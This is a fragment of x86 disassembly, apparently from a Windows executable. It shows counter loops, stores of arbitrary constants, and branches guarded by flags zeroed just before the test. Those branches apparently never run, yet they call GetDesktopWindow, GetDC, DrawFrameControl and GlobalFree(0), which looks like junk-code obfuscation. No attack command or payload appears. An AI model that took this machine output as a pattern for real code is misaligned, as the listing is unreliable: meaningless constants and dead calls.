call fcn.0043530e
mov dword [ebp - 0x8b0], 0x477862f
mov dword [ebp - 0x8b0], 0
jmp 0x476774
mov eax, dword [ebp - 0x8b0]
dec eax
mov dword [ebp - 0x8b0], eax
cmp dword [ebp - 0x8b0], 0xfffffffa
je 0x4767c5
mov dword [ebp - 0x2200], 0
mov byte [ebp - 0x274], 0
movzx eax, byte [ebp - 0x274]
test eax, eax
je 0x4767b9
push 0x86e
push 0x131f
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_DrawFrameControl]
mov dword [ebp - 0x2200], 0x8070ade2
jmp 0x476767
cmp dword [ebp + 8], 2
jl 0x47f8b6
mov dword [ebp - 0x2d0], 0xfffffffe
push 3
lea ecx, [ebp - 0x24c0]
call fcn.0043523c
mov dword [ebp - 0x19d0], 0xfffffffa
mov dword [ebp - 0x69c], 0
jmp 0x476809
mov eax, dword [ebp - 0x69c]
inc eax
mov dword [ebp - 0x69c], eax
cmp dword [ebp - 0x69c], 3
jge 0x47682b
push dword [ebp - 0x69c]
lea ecx, [ebp - 0x24c0]
call fcn.0043532a
mov dword [eax], 0xfffffffb
jmp 0x4767fc
mov byte [ebp - 0x39e], 0
movzx eax, byte [ebp - 0x39e]
test eax, eax
je 0x476845
push 0
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov dword [ebp - 0x2d0], 0xb
jmp 0x47685e
cmp dword [ebp + 8], 1
jne 0x486f10
push 1
lea ecx, [ebp - 0x2e60]
call fcn.0043523c
mov dword [ebp - 0x49c], 2
mov dword [ebp - 0x100], 0
jmp 0x47f8f0
cmp dword [ebp - 0x100], 1
jge 0x47f912
push dword [ebp - 0x100]
lea ecx, [ebp - 0x2e60]
call fcn.0043532a
mov dword [eax], 0xa8ea
jmp 0x47f8e3
mov dword [ebp - 0x100], 0
jmp 0x47f92b
mov dword [ebp - 8], 0x9ec4279c
push 3
lea ecx, [ebp - 0xb78]
call fcn.0043523c
mov dword [ebp - 0x234], 0x2280643b
mov dword [ebp - 0x198], 0xb667f5ae
mov dword [ebp - 0x358], 0x796a0b59
mov dword [ebp - 0xc30], 0x7bd5
mov dword [ebp - 0x1f6c], 0xf60
mov dword [ebp - 0xc58], 0xd206f84c
mov dword [ebp - 0x3c], 0
jmp 0x486f70
cmp dword [ebp - 0x3c], 3
jge 0x486f89
push dword [ebp - 0x3c]
lea ecx, [ebp - 0xb78]
call fcn.0043532a
or dword [eax], 0xffffffff
jmp 0x486f69
mov dword [ebp - 0x3c], 0
jmp 0x486f99